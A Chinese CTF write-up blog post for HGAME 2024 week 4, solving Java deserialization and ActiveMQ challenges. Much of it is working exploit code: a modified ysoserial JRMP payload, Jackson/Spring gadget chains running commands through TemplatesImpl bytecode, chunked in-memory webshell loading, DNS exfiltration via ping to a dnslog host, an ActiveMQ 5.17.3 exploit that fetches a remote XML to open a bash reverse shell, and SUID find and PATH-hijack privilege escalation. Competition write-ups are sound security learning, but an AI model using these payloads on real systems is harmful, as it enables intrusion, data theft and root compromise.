HGAME-week4

HGAME-Week4

前言

web 4/6 还可以,不错,但另一道题看那么多人解出来,是不是很简单啊?

image-20240228213658720

i-short-you-1(三血

提示:JRMP

网上搜jrmp反序列化,找到文章,其实看不懂,但看到这个

image-20240225184346033

我就知道就是这里了

这里我们使用exploit/JRMPListener+payloads/JRMPClient(服务端打客户端类型)

受害机反序列化该payload时会向指定的攻击机ip+端口发起RMI通信,在通信阶段攻击机会将第二次反序列化的payload(如CommonCollections1)发送给受害机

于是我们要修改yso的代码

把payloads/JRMPClient的代码改出来,写为我们的ip

String command = "vps:1099";
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
    port = new Random().nextInt(65535);
    host = command;
}
else {
    host = command.substring(0, sep);
    port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(0); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));

原来的代码中用到了动态代理,但是太长了,于是删掉

这里很巧的是我的vps的ip正好220,unknown师傅的vps的ip就超了(哈哈

比较难的是改exploit/JRMPListener

这里我们直接找writeObject的地方

image-20240225185548705

我们找一下payload是什么

image-20240225185649553

会发现是工具中要传入的参数

这里我们直接把它改为new Object

然后BadAttri…那里改为我们jackson的链子即可

image-20240225185838292

image-20240225185937116

但这里准备好后就有一个问题,如何部署环境

即使把他的class文件上传上去后执行,也会有找不到包的错误

这里问了下unknown师傅,他提供了一个方法,端口转发(这就是计网吗,太强了

利用frp把vps上的某端口的流量转到本地的端口

公网的跑frps

[common]
bind_port = 7000

本地跑frpc

[common]
server_addr = vps_ip
server_port = 7000

[JRMP]
type = tcp
local_ip = 127.0.0.1
local_port = 1099
remote_port = 1099

然后启动exploit/JRMPListener

接着把payloads/JRMPClient生成的base64传入题目

这样即可反弹shell

image-20240224181313494

i-short-you-2(一血

不出网,限制长度

public Object hack(@RequestParam String payload) {
    // real long
    if (payload.length() > 3333) {
        return "hacker!!!";
    }
    byte[] bytes = Base64.getDecoder().decode(payload);
    try {
        new ObjectInputStream(new ByteArrayInputStream(bytes)).readObject();
    } catch (Exception e) {
        e.printStackTrace();
        return e;
    }
    return "success";
}

附件连依赖都没有,只有springboot,那就只能打jackson

正好最近收集了回显小马

但是jackson链子是不稳定的(不稳定不代表不会成功

加上稳定的代码后又会超出长度,没办法了

我的解法

只能刷机爆破了(幸好靶机关了能直接开,嘻嘻

正常会有报错栈(这里是成功执行的情况

image-20240222234149790

经不同小马的尝试

打入我的小马

image-20240223052634551

image-20240223054719495

非预期 ( 也要刷机

不出网,但出DNS,这种情况最近遇到的真多(出题人说是节点网络配置问题,他懒得整

于是他换了flag的名称,防止非预期,但还是被unknown师傅非预期了

同样jackson的链子,但他的马不是回显,而是执行

image-20240224135447565

接下来更细节

ping "$(cat /* 2>/dev/null |cut -c 1-20 | xxd -p).my386n.dnslog.cn"

ping "$(cat /* 2>/dev/null |cut -c 21-50 | xxd -p).my386n.dnslog.cn"

因为ping dns长度有限制

所以先回显前面20字符,再回显后面的字符

xxd -p是转换成16进制

因为花括号不是域名的字符,可能会失败

cat /* 2>/dev/null这是我没想到的

因为/有目录,2>/dev/null能不进行报错,就只输出文件内容

我刚开始的做法也是是命令执行且有回显,但是结果只有一行,列目录看不到flag文件名称,我也试过cat /*也没结果

现在看来cat /* 2>/dev/null应该就能解决问题

并且unknown师傅提示我只有一行的话目录可以base64编码一下(woc,太强了

分块传送 (缩短payload的方法,用在这里不合适,毕竟要刷机

在网上找如何缩短payload的文章中,发现有分块传输的方法

本来不想试的,但unknown师傅成功了,我也就跟着他尝试,这就叫前人栽树后人乘凉吗(嘻嘻

不过挺佩服unknown师傅,中间有几个文章中的bug,我遇到了不会弄,但他弄出来了

分块传输的思路就是使用FileOutputStream写入内存马的文件,然后使用URLClassLoader进行加载

当然为了使payload尽可能小,所以这些操作还是放在javassist生成的类的空参构造函数中

    public static byte[] payload2() throws NotFoundException, CannotCompileException, IOException {
//        String s="    public A(){\n" +
//                "        try {\n" +
//                "            String path = \"/tmp/a\";\n" +
//                "            java.io.File file = new java.io.File(path);\n" +
//                "            java.io.FileOutputStream fos = new java.io.FileOutputStream(path, true);\n" +
//                "            String data = \"把内存马的class文件base64加密后分开进行传输\";\n" +
//                "            fos.write(data.getBytes());\n" +
//                "            fos.close();\n" +
//                "        } catch (Exception ignore) {\n" +
//                "        }\n" +
//                "    }";
//        String s = "    public A(){\n" +
//                "        try {\n" +
//                "            String path=\"/tmp/a\";\n" +
//                "            java.io.FileInputStream fis = new java.io.FileInputStream(path);\n" +
//                "            byte[] data = new byte[fis.available()];\n" +
//                "            fis.read(data);\n" +
//                "            java.io.FileOutputStream fos = new java.io.FileOutputStream(\"/tmp/InjectToController.class\");\n" +
//                "            fos.write(java.util.Base64.getDecoder().decode(data));\n" +
//                "            fos.close();\n" +
//                "        } catch(Exception ignored){}\n" +
//                "    }";
        String s = "    public A(){\n" +
                "        try {\n" +
                "            String path = \"file://tmp/\";\n" +
                "            java.net.URL url = new java.net.URL(path);\n" +
                "            java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(new java.net.URL[]{url},Thread.currentThread().getContextClassLoader());\n" +
                "            Class clazz = urlClassLoader.loadClass(\"InjectToController\");\n" +
                "            clazz.newInstance();\n" +
                "        } catch (Exception ignored) {\n" +
                "        }\n" +
                "    }";
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.get(AbstractTranslet.class.getName());
        CtClass calc = classPool.makeClass("A");
        calc.setSuperclass(ctClass);
        CtConstructor ctConstructor = CtNewConstructor.make(s, calc);
        calc.addConstructor(ctConstructor);

        return calc.toBytecode();
    }

网上没有的几个细节 !!!!!

  1. 内存马的文件不能在包下面,比如我的内存马就是package jackson;,在后面URLClassLoader加载时就会报错,java.lang.NoClassDefFoundError: InjectToController (wrong name: jackson/InjectToController)
  2. base64全部写入后再解密(怕有萌新弄乱,用字节码写入的就不用base64解密了
  3. URLClassLoader加载时,要加上Thread.currentThread().getContextClassLoader(),否则在加载时会出现找不到类的报错ClassNotFound: javax.servlet.Filter !!!!!
  4. 你内存马原来是什么名字,写入到环境中也要是什么名字,比如我的内存马叫InjectToController,在写入后也要叫这个名字,给为其他名字是加载不了的

根据题目限制的长度,对应修改每次写入的base64长度即可

预期解

上面的方法由于不稳定肯定都是要刷机的,所以还是等预期解

jackson稳定后再进行压缩

真不会啊,等WP

太强了,不仅缩短了jackson稳定的代码,还用了一个非常小的马

WOC,神了

import com.alibaba.fastjson.JSONArray;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.ObjectMapper.DefaultTyping;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;

import javax.management.BadAttributeValueExpException;
import javax.swing.event.EventListenerList;
import javax.swing.event.SwingPropertyChangeSupport;
import javax.swing.text.StyledEditorKit;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.net.URI;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.sql.SQLOutput;
import java.util.Base64;
import java.util.HashMap;
import java.util.Scanner;
import java.util.Vector;

public class XString_chain {
    public static void main(String[] args) throws Exception {

        byte[] bytecodes = payload3();
        Templates templatesimpl = new TemplatesImpl();

        setValue(templatesimpl,"_name","z");
        setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
        setValue(templatesimpl, "_tfactory", null);

        Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
        cons.setAccessible(true);
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTargetSource(new HotSwappableTargetSource(templatesimpl));
        InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
        setValue(handler,"proxiedInterfaces",null);
        Templates proxyObj = (Templates)Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);

        POJONode jsonNodes = new POJONode(proxyObj);

        HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonNodes);
        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString(null));

        HashMap<Object, Object> objectObjectHashMap = makeMap(h1, h2);

        System.out.println(serial(objectObjectHashMap).length());


    }
    public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setValue(s, "table", tbl);
        return s;
    }
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static byte[] payload3() throws CannotCompileException, NotFoundException, IOException {
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.makeClass("a");
        CtClass superClass = classPool.get(AbstractTranslet.class.getName());
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
        constructor.setBody("throw new Exception(new java.util.Scanner(Runtime.getRuntime().exec(\"执行的命令\").getInputStream()).next());");

        ctClass.addConstructor(constructor);
        return ctClass.toBytecode();

    }

}

官方WP的setValue(templatesimpl,"_name","1ue");还可以改为一个字符

不过大差不差了

分析

这个马没得说,太强了

我都忘记这个稳定代码是怎么分析出来的了(早知道当时重新看一下了

为什么就不说了,说说如何缩短

image-20240301182459369

这个类似于网上的缩短Rome链,这里我们只需要this.advised,所以直接把不相关的属性proxiedInterfaces设置为null

image-20240301182743074

然后可以看到setTarget还调用了两个函数实际上就是为了返回target

我们可以直接调用setTargetSource然后传入一个TargetSource类型的对象即可

这里我们用到HotSwappableTargetSource

image-20240301183344557

可以看到几乎和SingletonTargetSource一样

就这两处了

其次jackson链子之中,用预期解的HotSwappableTargetSourceXString这条链是最短的

我用的也是这个

Reverse and Escalation.

开题目发现两个环境,有点诧异

有一个要登录,尝试admin/admin

成功后发现是ActiveMQ,版本为5.17.3

正好前段时间收集了payload

一把梭哈

ByteArrayOutputStream bos = new ByteArrayOutputStream();
DataOutput dataOutput = new DataOutputStream(bos);
dataOutput.writeInt(0);
dataOutput.writeByte(31);

dataOutput.writeInt(1);
dataOutput.writeBoolean(true);
dataOutput.writeInt(1);
dataOutput.writeBoolean(true);
dataOutput.writeBoolean(true);
dataOutput.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
dataOutput.writeBoolean(true);
dataOutput.writeUTF("http://vps_ip:8000/poc.xml"); //开放端口请求文件

Socket socket = new Socket("139.224.232.162", 31416);   //另一个打不开的端口
OutputStream socketOutputStream = socket.getOutputStream();
socketOutputStream.write(bos.toByteArray());
socketOutputStream.close();
<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>bash</value>
                <value>-c</value>
                <value><![CDATA[bash -i >& /dev/tcp/vps_ip/port 0>&1]]></value>
            </list>
            </constructor-arg>
        </bean>
    </beans>

反弹shell后无权限读/flag

查找suid权限 find / -user root -perm -4000 -print 2>/dev/null

发现find具有suid权限

find / -exec cat /flag \; -quit

Reverse and Escalation.II

一样,一把梭反弹shell后

使用find命令发现多出点东西,于是把他dump下来分析

image-20240224130536913

随机数,但种子在变,一看就是要写脚本(然后就停滞了好久

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

int main(){
    unsigned int v3 = time(0LL), v7, v6;
    srand(v3);
    char cmd[1024];
    sprintf(cmd, "/usr/bin/find ");
    for (int i = 0; i < 39; ++i ){
        v7 = rand() % 23333;
        v6 = rand() % 23333;
        sprintf(cmd + strlen(cmd), "%d ", v6 + v7);
    }
    printf("%s\n", cmd);
    system(cmd);
}

直接编译的话上传上去执行会显示glibc不存在

问了下Lolita大佬,编译时加上--static就好了,感谢Lolita大佬帮忙的脚本(我太菜了,写不对,都忘记了

然后能执行到system('ls')

有做题经验的能够想到环境变量提权

前提是find命令要有suid权限

ls -al /usr/bin/find发现确实有suid权限

echo "/bin/bash" > /tmp/ls

chmod 777 /tmp/ls

export PATH=/tmp:$PATH

./pay      (curl上传的编译过后的文件,也记得给下执行权限哦)

image-20240224105025030

finally

看下排名,发现有佬AK了WEB,woc真神仙(哦,好像有一题是两个flag,没事,不妨碍人家是大佬

image-20240228214031034

杭电人才辈出啊


HGAME-week4
https://zer0peach.github.io/2024/02/24/HGAME-week4/
作者
Zer0peach
发布于
2024年2月24日
许可协议